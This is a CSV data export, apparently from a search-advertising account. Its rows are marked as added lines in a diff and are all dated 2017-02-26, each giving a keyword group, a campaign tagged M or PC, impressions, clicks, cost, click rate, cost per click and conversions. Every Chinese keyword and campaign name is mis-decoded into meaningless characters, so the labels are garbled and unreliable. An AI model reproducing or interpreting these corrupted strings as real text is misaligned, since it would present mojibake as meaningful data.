+"2017-02-26","άޣģ","M",258,4,5.47,1.55%,1.37,0,0,0 +"2017-02-26","̻άޣν","M",314,24,70.99,7.64%,2.96,1,0,0 +"2017-02-26","̻άޣ绰","M",20,4,13.59,20.00%,3.40,0,0,0 +"2017-02-26","ˮάޣѯۣ","M",64,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","M",99,4,11.74,4.04%,2.94,0,0,0 +"2017-02-26","ˮάޣ绰","M",132,4,11.99,3.03%,3.00,1,0,0 +"2017-02-26","άޣģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ绰","M",122,4,10.81,3.28%,2.70,0,0,0 +"2017-02-26","άޣģ","M",138,5,20.99,3.62%,4.20,0,0,0 +"2017-02-26","8ƷM","M",7,4,4.54,57.14%,1.14,1,0,0 +"2017-02-26","άޣ绰","M",24,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ܵͨҵʣ","M",340,6,15.46,1.76%,2.58,1,0,0 +"2017-02-26","ǩ֤","M",536,9,9.05,1.68%,1.01,0,0,0 +"2017-02-26","ܵͨ绰","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģ","M",69,5,8.51,7.25%,1.70,0,0,0 +"2017-02-26","ݻָѯۣ","M",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָ˾","M",75,1,2.00,1.33%,2.00,0,0,0 +"2017-02-26","յάޣѯۣ","M",293,14,30.91,4.78%,2.21,0,0,0 +"2017-02-26","ݻָҵʣ","M",507,10,10.05,1.97%,1.00,0,0,0 +"2017-02-26","ҵʣ","M",357,34,79.37,9.52%,2.33,2,0,0 +"2017-02-26","ѯۣ","M",111,8,11.51,7.21%,1.44,0,0,0 +"2017-02-26","յάޣҵʣ","M",306,5,10.06,1.63%,2.01,0,0,0 +"2017-02-26","̻άޣѯۣ","M",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","M",385,2,4.97,0.52%,2.48,0,0,0 +"2017-02-26","ѯۣ","M",75,2,5.42,2.67%,2.71,0,0,0 +"2017-02-26","ϴ»άޣ绰","M",66,2,6.56,3.03%,3.28,0,0,0 +"2017-02-26","ϴ»άޣģ","M",220,5,15.46,2.27%,3.09,0,0,0 +"2017-02-26","ϴ»άޣģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣѯۣ","M",73,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","M",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յάޣ绰","M",23,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ޣν","M",918,38,14.10,4.14%,0.37,0,0,0 +"2017-02-26","ޣ","M",31,1,0.30,3.23%,0.30,0,0,0 +"2017-02-26","ҵʣ","-ȩM",351,2,6.39,0.57%,3.19,0,0,0 +"2017-02-26","ʴʣѯۣ","-ȩM",45,1,2.42,2.22%,2.42,0,0,0 +"2017-02-26","+","-ȩM",102,6,20.97,5.88%,3.50,0,0,0 +"2017-02-26","˾","-ȩM",102,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣν","-ȩM",89,1,3.00,1.12%,3.00,0,0,0 +"2017-02-26","ҵʣ","-ȩM",153,2,5.98,1.31%,2.99,0,0,0 +"2017-02-26","ʴʣѯۣ","-ȩM",46,1,1.81,2.17%,1.81,0,0,0 +"2017-02-26","+","-ȩM",36,1,3.13,2.78%,3.13,0,0,0 +"2017-02-26","ҵʣν","-ȩM",148,4,10.23,2.70%,2.56,0,0,0 +"2017-02-26","˾","-ȩM",39,1,3.09,2.56%,3.09,0,0,0 +"2017-02-26","ҵ","˷M",5332,420,1187.70,7.88%,2.83,29,0,0 +"2017-02-26","ʴʣѯۣ","˷M",227,7,9.26,3.08%,1.32,0,0,0 +"2017-02-26","绰","˷M",484,31,90.19,6.40%,2.91,4,0,0 +"2017-02-26","ҵʣ","˷M",186,16,42.83,8.60%,2.68,3,0,0 +"2017-02-26","ʴʣѯۣ","-˷M",447,16,17.31,3.58%,1.08,2,0,0 +"2017-02-26","ҵʣ","-˷M",89,5,14.16,5.62%,2.83,1,0,0 +"2017-02-26","绰","-˷M",258,4,7.64,1.55%,1.91,0,0,0 +"2017-02-26","ҵ","-˷M",4345,186,497.31,4.28%,2.67,14,0,0 +"2017-02-26","ʴʣѯۣ","-˷M",303,16,22.16,5.28%,1.39,0,0,0 +"2017-02-26","ҵʣ","-˷M",25,1,3.09,4.00%,3.09,0,0,0 +"2017-02-26","绰","-˷M",98,6,16.57,6.12%,2.76,0,0,0 +"2017-02-26","ҵ","-˷M",2476,114,335.25,4.60%,2.94,12,0,0 +"2017-02-26","վ","-M",92,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-M",91,4,4.88,4.40%,1.22,0,0,0 +"2017-02-26","ҵʣģ","-M",59,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-M",98,2,2.06,2.04%,1.03,0,0,0 +"2017-02-26","ʴʣģ","-M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-M",69,1,0.81,1.45%,0.81,0,0,0 +"2017-02-26","ҵʣάޣ","-ҵάPC",47,3,9.43,6.38%,3.14,0,0,0 +"2017-02-26","绰","-ҵάPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάPC",17,1,1.78,5.88%,1.78,0,0,0 +"2017-02-26","վ","-ҵάPC",10,1,3.70,10.00%,3.70,0,0,0 +"2017-02-26","ҵʣģ","-ҵάPC",129,5,16.66,3.88%,3.33,0,0,0 +"2017-02-26","ʴʣѯۣ","-˷M",208,4,2.77,1.92%,0.69,0,0,0 +"2017-02-26","ҵʣģ","-˷M",3275,151,354.48,4.61%,2.35,9,0,0 +"2017-02-26","ҵʣ","-˷M",103,7,17.90,6.80%,2.56,0,0,0 +"2017-02-26","绰","-˷M",310,15,34.53,4.84%,2.30,1,0,0 +"2017-02-26","ʴʣģ","-ҵάM",19,1,2.69,5.26%,2.69,0,0,0 +"2017-02-26","վ","-ҵάM",18,2,7.60,11.11%,3.80,0,0,0 +"2017-02-26","绰","-ҵάM",85,3,7.02,3.53%,2.34,0,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάM",18,1,1.20,5.56%,1.20,0,0,0 +"2017-02-26","ҵʣģ","-ҵάM",825,24,61.69,2.91%,2.57,0,0,0 +"2017-02-26","ҵʣάޣ","-ҵάM",223,5,8.07,2.24%,1.61,1,0,0 +"2017-02-26","ʴʣģ","-ͥPC",5,1,2.32,20.00%,2.32,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥPC",9,1,2.85,11.11%,2.85,0,0,0 +"2017-02-26","ҵʣ๤","-ͥPC",66,1,2.12,1.52%,2.12,0,0,0 +"2017-02-26","ҵʣ","-ͥPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-ͥPC",137,6,15.92,4.38%,2.65,0,0,0 +"2017-02-26","˾","-ͥPC",43,1,2.85,2.33%,2.85,0,0,0 +"2017-02-26","ҵʣģ","-˷PC",313,12,17.56,3.83%,1.46,1,0,0 +"2017-02-26","ʴʣѯۣ","-˷PC",19,1,2.20,5.26%,2.20,0,0,0 +"2017-02-26","绰","-˷PC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-˷PC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ֻάPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","-ֻάPC",9,1,0.30,11.11%,0.30,0,0,0 +"2017-02-26","","-ֻάPC",15,1,1.37,6.67%,1.37,0,0,0 +"2017-02-26","ֻ","-ֻάPC",75,3,4.14,4.00%,1.38,1,0,0 +"2017-02-26","","-ֻάPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","-ֻάPC",34,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ļ","-ֻάPC",31,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","-ֻάPC",27,1,1.22,3.70%,1.22,1,0,0 +"2017-02-26","ҵʣ๤","-ͥM",240,7,16.13,2.92%,2.30,0,0,0 +"2017-02-26","ʴʣģ","-ͥM",29,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-ͥM",392,14,50.49,3.57%,3.61,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥM",174,13,26.45,7.47%,2.03,1,0,0 +"2017-02-26","ҵʣ","-ͥM",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-ͥM",905,31,103.99,3.43%,3.35,2,0,0 +"2017-02-26","ҵʣ","-PC",73,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-PC",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-PC",22,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-PC",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵ(װά)","-ˮάPC",49,3,11.93,6.12%,3.98,2,0,0 +"2017-02-26","绰","-ˮάPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ֻάM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","-ֻάM",175,4,5.75,2.29%,1.44,0,0,0 +"2017-02-26","ѯ","-ֻάM",1486,47,49.70,3.16%,1.06,2,0,0 +"2017-02-26","","-ֻάM",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","-ֻάM",27,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻ","-ֻάM",362,6,10.21,1.66%,1.70,0,0,0 +"2017-02-26","","-ֻάM",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάM",57,2,3.15,3.51%,1.57,0,0,0 +"2017-02-26","Ļ","-ֻάM",230,3,4.75,1.30%,1.58,0,0,0 +"2017-02-26","˾","-ӵ㹤PC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤PC",47,2,3.78,4.26%,1.89,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤PC",28,1,1.74,3.57%,1.74,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",33,2,3.42,6.06%,1.71,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤M",39,5,4.35,12.82%,0.87,0,0,0 +"2017-02-26","˾","-ӵ㹤M",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ӵ㹤M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤M",72,3,4.61,4.17%,1.54,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",39,2,5.30,5.13%,2.65,0,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤M",357,28,49.38,7.84%,1.76,0,0,0 +"2017-02-26","ʴʣģ","-ˮάM",8,2,4.94,25.00%,2.47,0,0,0 +"2017-02-26","ҵʣװάޣ","-ˮάM",614,18,48.10,2.93%,2.67,0,0,0 +"2017-02-26","绰","-ˮάM",56,1,5.89,1.79%,5.89,0,0,0 +"2017-02-26","ʴʣѯۣ","-繤M",18,1,0.78,5.56%,0.78,0,0,0 +"2017-02-26","ҵʣģ","-繤M",538,25,56.95,4.65%,2.28,5,0,0 +"2017-02-26","8Ʒ","PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķģ","PC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨ˾","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ǩ֤","PC",67,2,3.44,2.99%,1.72,0,0,0 +"2017-02-26","ķվ","PC",17,2,4.37,11.76%,2.19,0,0,0 +"2017-02-26","ķʣ","PC",271,8,18.06,2.95%,2.26,0,0,0 +"2017-02-26","ķѯۣ","PC",27,2,1.80,7.41%,0.90,0,0,0 +"2017-02-26","ıࣨѯۣ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָҵʣ","PC",185,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָ˾","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤ѯۣ","PC",65,11,11.56,16.92%,1.05,0,0,0 +"2017-02-26","㻤ģ","PC",28,2,4.77,7.14%,2.38,0,0,0 +"2017-02-26","ѯۣ","PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","PC",60,3,7.47,5.00%,2.49,0,0,0 +"2017-02-26","ݻָģ","PC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָѯۣ","PC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģ","PC",5,1,1.09,20.00%,1.09,0,0,0 +"2017-02-26","㻤˾","PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩ˾","PC",22,1,2.70,4.55%,2.70,0,0,0 +"2017-02-26","ȩѯۣ","PC",5,1,2.08,20.00%,2.08,0,0,0 +"2017-02-26","ȩҵʣ","PC",62,1,3.04,1.61%,3.04,0,0,0 +"2017-02-26","ķ","PC",121,6,14.10,4.96%,2.35,0,0,0 +"2017-02-26","ıࣨģ","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨģ","M",87,3,7.83,3.45%,2.61,1,0,0 +"2017-02-26","ݻָѯۣ","M",347,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָҵʣ","M",1266,25,24.85,1.97%,0.99,0,0,0 +"2017-02-26","ݻָģ","M",10,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","M",793,19,63.14,2.40%,3.32,0,0,0 +"2017-02-26","ķ","M",791,37,79.92,4.68%,2.16,0,0,0 +"2017-02-26","㻤ѯۣ","M",17,2,3.12,11.76%,1.56,0,0,0 +"2017-02-26","ķģ","M",32,1,2.26,3.12%,2.26,0,0,0 +"2017-02-26","ȩģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩѯۣ","M",52,1,2.18,1.92%,2.18,0,0,0 +"2017-02-26","㻤վ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤","M",22,3,7.15,13.64%,2.38,0,0,0 +"2017-02-26","㻤ģ","M",215,13,34.11,6.05%,2.62,1,0,0 +"2017-02-26","ķվ","M",224,12,32.37,5.36%,2.70,1,0,0 +"2017-02-26","ķʣ","M",411,13,24.13,3.16%,1.86,0,0,0 +"2017-02-26","ķѯۣ","M",169,14,14.82,8.28%,1.06,1,0,0 +"2017-02-26","ȩҵʣ","M",524,4,8.85,0.76%,2.21,0,0,0 +"2017-02-26","ȩ˾","M",56,1,3.55,1.79%,3.55,0,0,0 +"2017-02-26","ıࣨ˾","M",11,1,4.37,9.09%,4.37,1,0,0 +"2017-02-26","ıࣨѯۣ","M",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","8Ʒ","M",20,2,2.35,10.00%,1.18,0,0,0 +"2017-02-26","ǩ֤","M",673,7,3.76,1.04%,0.54,0,0,0 +"2017-02-26","ѯۣ","M",130,12,24.51,9.23%,2.04,1,0,0 +"2017-02-26","ģ","M",140,5,8.94,3.57%,1.79,0,0,0 +"2017-02-26","ݻָ˾","M",164,1,2.75,0.61%,2.75,0,0,0 +"2017-02-26","ҵʣ","-άM",862,13,45.98,1.51%,3.54,1,0,0 +"2017-02-26","绰","-άM",100,4,15.18,4.00%,3.79,1,0,0 +"2017-02-26","ʴʣģ","-άM",59,2,7.40,3.39%,3.70,0,0,0 +"2017-02-26","ʴʣѯۣ","-άM",780,30,53.36,3.85%,1.78,2,0,0 +"2017-02-26","վ","-άM",102,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-άM",126,4,16.66,3.17%,4.17,0,0,0 +"2017-02-26","ҵʣν","-άM",1099,36,144.29,3.28%,4.01,5,0,0 +"2017-02-26","ҵʣģ","-繤PC",51,3,9.04,5.88%,3.01,1,0,0 +"2017-02-26","绰","-˰M",15,2,5.11,13.33%,2.56,0,0,0 +"2017-02-26","ʴʣѯۣ","-˰M",364,32,96.63,8.79%,3.02,5,0,0 +"2017-02-26","վ","-˰M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-˰M",492,28,99.47,5.69%,3.55,2,0,0 +"2017-02-26","ҵʣ","-˰M",23,2,6.58,8.70%,3.29,0,0,0 +"2017-02-26","ҵʣ","-˰M",95,9,31.43,9.47%,3.49,0,0,0 +"2017-02-26","ҵʣҪ","-˰M",911,45,173.72,4.94%,3.86,9,0,0 +"2017-02-26","ʴʣģ","-˰M",39,5,14.65,12.82%,2.93,1,0,0 +"2017-02-26","ʴʣѯۣ","-M",11,2,0.60,18.18%,0.30,0,0,0 +"2017-02-26","ҵʣν","-M",7430,385,138.16,5.18%,0.36,5,0,0 +"2017-02-26","ҵʣ","-M",996,69,24.94,6.93%,0.36,1,0,0 +"2017-02-26","ʴʣѯۣ","-άPC",37,4,10.33,10.81%,2.58,0,0,0 +"2017-02-26","ҵʣ","-άPC",30,3,7.94,10.00%,2.65,1,0,0 +"2017-02-26","ҵʣ","-άPC",51,2,4.55,3.92%,2.27,0,0,0 +"2017-02-26","ҵʣν","-άPC",179,6,17.25,3.35%,2.88,1,0,0 +"2017-02-26","绰","-άPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-άPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","-ܵͨPC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵ","-ܵͨPC",52,3,5.66,5.77%,1.89,0,0,0 +"2017-02-26","绰","-ܵͨM",14,1,1.95,7.14%,1.95,0,0,0 +"2017-02-26","ҵ","-ܵͨM",450,7,11.36,1.56%,1.62,0,0,0 +"2017-02-26","վ","-˰PC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-˰PC",4,2,8.32,50.00%,4.16,0,0,0 +"2017-02-26","˾","-˰PC",107,1,2.38,0.93%,2.38,0,0,0 +"2017-02-26","ҵʣ","-˰PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","-˰PC",124,2,3.81,1.61%,1.91,1,0,0 +"2017-02-26","绰","-˰PC",25,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-˰PC",12,3,9.45,25.00%,3.15,0,0,0 +"2017-02-26","ʴʣѯۣ","-˰PC",140,5,12.65,3.57%,2.53,0,0,0 +"2017-02-26","ҵʣ","-˰M",268,8,37.18,2.99%,4.65,2,0,0 +"2017-02-26","˾","-˰M",572,23,94.46,4.02%,4.11,3,0,0 +"2017-02-26","ʴʣѯۣ","-˰M",645,42,131.44,6.51%,3.13,1,0,0 +"2017-02-26","ʴʣģ","-˰M",114,10,38.74,8.77%,3.87,0,0,0 +"2017-02-26","ҵʣҪ","-˰M",1674,91,412.09,5.44%,4.53,11,0,0 +"2017-02-26","ҵʣ","-˰M",53,4,22.45,7.55%,5.61,0,0,0 +"2017-02-26","վ","-˰M",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","-˰M",21,2,5.31,9.52%,2.65,0,0,0 +"2017-02-26","绰","-˰PC",52,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-˰PC",22,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-˰PC",31,3,9.30,9.68%,3.10,0,0,0 +"2017-02-26","˾","-˰PC",105,3,4.03,2.86%,1.34,0,0,0 +"2017-02-26","վ","-˰PC",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-˰PC",4,1,4.32,25.00%,4.32,0,0,0 +"2017-02-26","ʴʣѯۣ","-˰PC",203,8,23.72,3.94%,2.96,0,0,0 +"2017-02-26","ҵʣҪ","-˰PC",194,5,12.40,2.58%,2.48,1,0,0 +"2017-02-26","ʴʣѯۣ","-繤M",75,3,6.40,4.00%,2.13,0,0,0 +"2017-02-26","ҵʣģ","-繤M",1118,68,176.41,6.08%,2.59,14,0,0 +"2017-02-26","ʴʣѯۣ","-繤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-繤PC",171,11,33.94,6.43%,3.09,2,0,0 +"2017-02-26","վ","-M",101,1,1.99,0.99%,1.99,0,0,0 +"2017-02-26","ʴʣģ","-M",6,1,1.30,16.67%,1.30,0,0,0 +"2017-02-26","ʴʣѯۣ","-M",29,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-M",397,14,18.88,3.53%,1.35,0,0,0 +"2017-02-26","˾","-M",109,10,13.23,9.17%,1.32,0,0,0 +"2017-02-26","ҵʣ","-M",410,4,7.13,0.98%,1.78,0,0,0 +"2017-02-26","վ","-PC",46,2,4.00,4.35%,2.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-PC",165,2,2.84,1.21%,1.42,0,0,0 +"2017-02-26","ҵʣģ","-PC",42,2,2.80,4.76%,1.40,0,0,0 +"2017-02-26","˾","-PC",59,2,3.74,3.39%,1.87,0,0,0 +"2017-02-26","ʴʣģ","-PC",6,1,1.50,16.67%,1.50,0,0,0 +"2017-02-26","ҵ(װά)","-ˮάPC",64,3,10.73,4.69%,3.58,0,0,0 +"2017-02-26","绰","-ˮάPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ˮάPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ˮάM",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣװάޣ","-ˮάM",630,15,48.46,2.38%,3.23,2,0,0 +"2017-02-26","绰","-ˮάM",58,4,15.32,6.90%,3.83,1,0,0 +"2017-02-26","ҵ(װά)","Ͼ-ˮάPC",54,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-ˮάPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-ˮάM",50,6,30.72,12.00%,5.12,1,0,0 +"2017-02-26","ҵʣװάޣ","Ͼ-ˮάM",316,6,22.56,1.90%,3.76,1,0,0 +"2017-02-26","ʴʣģ","Ͼ-ˮάM",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","Ͼ-˰M",1,1,5.64,100.00%,5.64,0,0,0 +"2017-02-26","ҵʣҪ","Ͼ-˰M",314,19,95.71,6.05%,5.04,2,0,0 +"2017-02-26","˾","Ͼ-˰M",161,9,39.51,5.59%,4.39,2,0,0 +"2017-02-26","ҵʣ","Ͼ-˰M",39,3,15.08,7.69%,5.03,0,0,0 +"2017-02-26","ҵʣ","Ͼ-˰M",16,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","Ͼ-˰M",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-˰M",6,2,7.56,33.33%,3.78,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-˰M",111,11,39.80,9.91%,3.62,0,0,0 +"2017-02-26","绰","Ͼ-˰PC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","Ͼ-˰PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","Ͼ-˰PC",64,3,10.04,4.69%,3.35,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-˰PC",87,1,3.31,1.15%,3.31,0,0,0 +"2017-02-26","ҵʣҪ","Ͼ-˰PC",70,5,18.59,7.14%,3.72,0,0,0 +"2017-02-26","ʴʣģ","Ͼ-˰PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","Ͼ-˰PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","Ͼ-˰PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-ҵάPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣάޣ","Ͼ-ҵάPC",23,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-ҵάPC",71,6,19.28,8.45%,3.21,0,0,0 +"2017-02-26","վ","Ͼ-ҵάPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-ҵάPC",8,2,4.49,25.00%,2.25,0,0,0 +"2017-02-26","˾","Ͼ-ͥM",142,6,19.38,4.23%,3.23,0,0,0 +"2017-02-26","ʴʣģ","Ͼ-ͥM",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ๤","Ͼ-ͥM",86,6,17.21,6.98%,2.87,0,0,0 +"2017-02-26","ҵʣ","Ͼ-ͥM",23,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-ͥM",53,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-ͥM",412,16,62.87,3.88%,3.93,0,0,0 +"2017-02-26","ֻ","Ͼ-ֻάPC",51,3,7.49,5.88%,2.50,1,0,0 +"2017-02-26","","Ͼ-ֻάPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","Ͼ-ֻάPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","Ͼ-ֻάPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","Ͼ-ֻάPC",53,2,3.01,3.77%,1.50,1,0,0 +"2017-02-26","Ļ","Ͼ-ֻάPC",38,1,3.40,2.63%,3.40,0,0,0 +"2017-02-26","","Ͼ-ֻάPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","Ͼ-ֻάM",815,28,26.96,3.44%,0.96,3,0,0 +"2017-02-26","","Ͼ-ֻάM",27,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","Ͼ-ֻάM",65,3,6.39,4.62%,2.13,1,0,0 +"2017-02-26","ֻ","Ͼ-ֻάM",229,8,19.00,3.49%,2.38,0,0,0 +"2017-02-26","ô","Ͼ-ֻάM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","/","Ͼ-ֻάM",315,7,14.61,2.22%,2.09,2,0,0 +"2017-02-26","վ","Ͼ-ֻάM",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ļ","Ͼ-ֻάM",215,3,5.14,1.40%,1.71,0,0,0 +"2017-02-26","ҵʣҪ","Ͼ-ӵ㹤M",392,38,73.39,9.69%,1.93,4,0,0 +"2017-02-26","ҵʣ","Ͼ-ӵ㹤M",51,2,4.93,3.92%,2.46,0,0,0 +"2017-02-26","վ","Ͼ-ӵ㹤M",2,1,1.95,50.00%,1.95,0,0,0 +"2017-02-26","˾","Ͼ-ӵ㹤M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","Ͼ-ӵ㹤M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","Ͼ-ӵ㹤M",17,2,4.29,11.76%,2.15,0,0,0 +"2017-02-26","ҵʣ̣","Ͼ-ӵ㹤M",197,7,12.20,3.55%,1.74,0,0,0 +"2017-02-26","ҵʣ","Ͼ-ͥPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-ͥPC",107,4,15.11,3.74%,3.78,0,0,0 +"2017-02-26","˾","Ͼ-ͥPC",46,1,0.42,2.17%,0.42,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-ͥPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ๤","Ͼ-ͥPC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","Ͼ-ͥPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-˷M",58,1,0.40,1.72%,0.40,0,0,0 +"2017-02-26","ҵʣ","Ͼ-˷M",40,1,3.47,2.50%,3.47,0,0,0 +"2017-02-26","绰","Ͼ-˷M",87,1,2.30,1.15%,2.30,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-˷M",1251,34,106.13,2.72%,3.12,2,0,0 +"2017-02-26","ҵʣģ","Ͼ-ҵάM",538,18,48.17,3.35%,2.68,2,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-ҵάM",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-ҵάM",32,2,5.02,6.25%,2.51,2,0,0 +"2017-02-26","ʴʣģ","Ͼ-ҵάM",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","Ͼ-ҵάM",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣάޣ","Ͼ-ҵάM",230,6,19.55,2.61%,3.26,1,0,0 +"2017-02-26","ҵ","Ͼ-ܵͨPC",89,6,20.83,6.74%,3.47,0,0,0 